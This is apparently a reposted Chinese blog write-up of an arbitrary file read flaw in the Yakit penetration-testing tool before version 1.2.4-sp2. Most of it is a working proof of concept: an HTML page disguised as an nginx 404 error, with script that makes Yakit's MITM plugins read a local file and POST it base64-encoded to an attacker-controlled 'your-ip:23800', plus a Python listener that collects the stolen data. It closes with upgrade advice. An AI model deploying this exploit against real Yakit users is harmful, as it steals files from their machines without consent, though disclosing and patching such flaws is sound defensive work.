赞
踩
Yakit是基于yak语言开发的网络安全单兵工具,旨在打造一个覆盖渗透测试全流程的网络安全工具库,是近年新兴的一个BurpSuite平替工具,和burp的区别就在于数据包放过去不用配置ip端口协议这些,近期yakit爆出了一个任意文件读取漏洞,此漏洞通过在网页嵌入js代码实现读取yakit使用者设备上的文件。
Yakit默认不会对经过MITM代理的流量中的fuzztag进行解析,但是经过插件时会被解析。这是漏洞原理也是漏洞利用的限制。
< Yaklang 1.2.4-sp2
开启yakit的MITM代理并选择任意插件(ps:测试时好像有的插件行有的不行)
创建html,并开启web服务。python开端口,或者phpstudy都行,这里看自己习惯。
- <!DOCTYPE html>
- <html>
- <head>
- <title>404 Not Found</title>
- </head>
- <body>
- <h1>404 Not Found</h1>
- <p>Nginx</p>
- <script>
- const xhr = new XMLHttpRequest();
- xhr.open("POST", "http://your-ip:23800");
- xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
- xhr.send(`file={{base64enc(file(C:\\Windows\\System32\\drivers\\etc\\hosts))}}`);
- </script>
- </body>
- </html>
开启监听
yakit.py
- # -*- coding: utf-8 -*-
- #! /bin/python3
- import socket
-
- # 监听地址和端口
- host = '0.0.0.0'
- port = 23800
-
- # 创建socket服务器
- server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
-
- # 绑定并监听端口
- server.bind((host, port))
- server.listen()
-
- # 接收连接并监听请求
- print("Listening...")
- while True:
- # 接收客户端连接请求
- client, address = server.accept()
- print(f"Connected by {address}")
-
- # 读取客户端请求数据
- request = ''
- while True:
- input_data = client.recv(1024).decode('utf-8')
- request += input_data
- if len(input_data) < 1024:
- break
-
- # 提取请求头部
- headers = request.split('\n')
- print("Received headers:")
- for header in headers:
- print(header)
-
- # 关闭客户端连接
- client.close()
报这个错的话第一行加上# -*- coding: utf-8 -*-
使用方法:python yakit.py
然后访问上面创建的1.html
base64解码:
1.2.4-sp2版本已进行修复,更新至1.2.4-sp2及以上版本
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。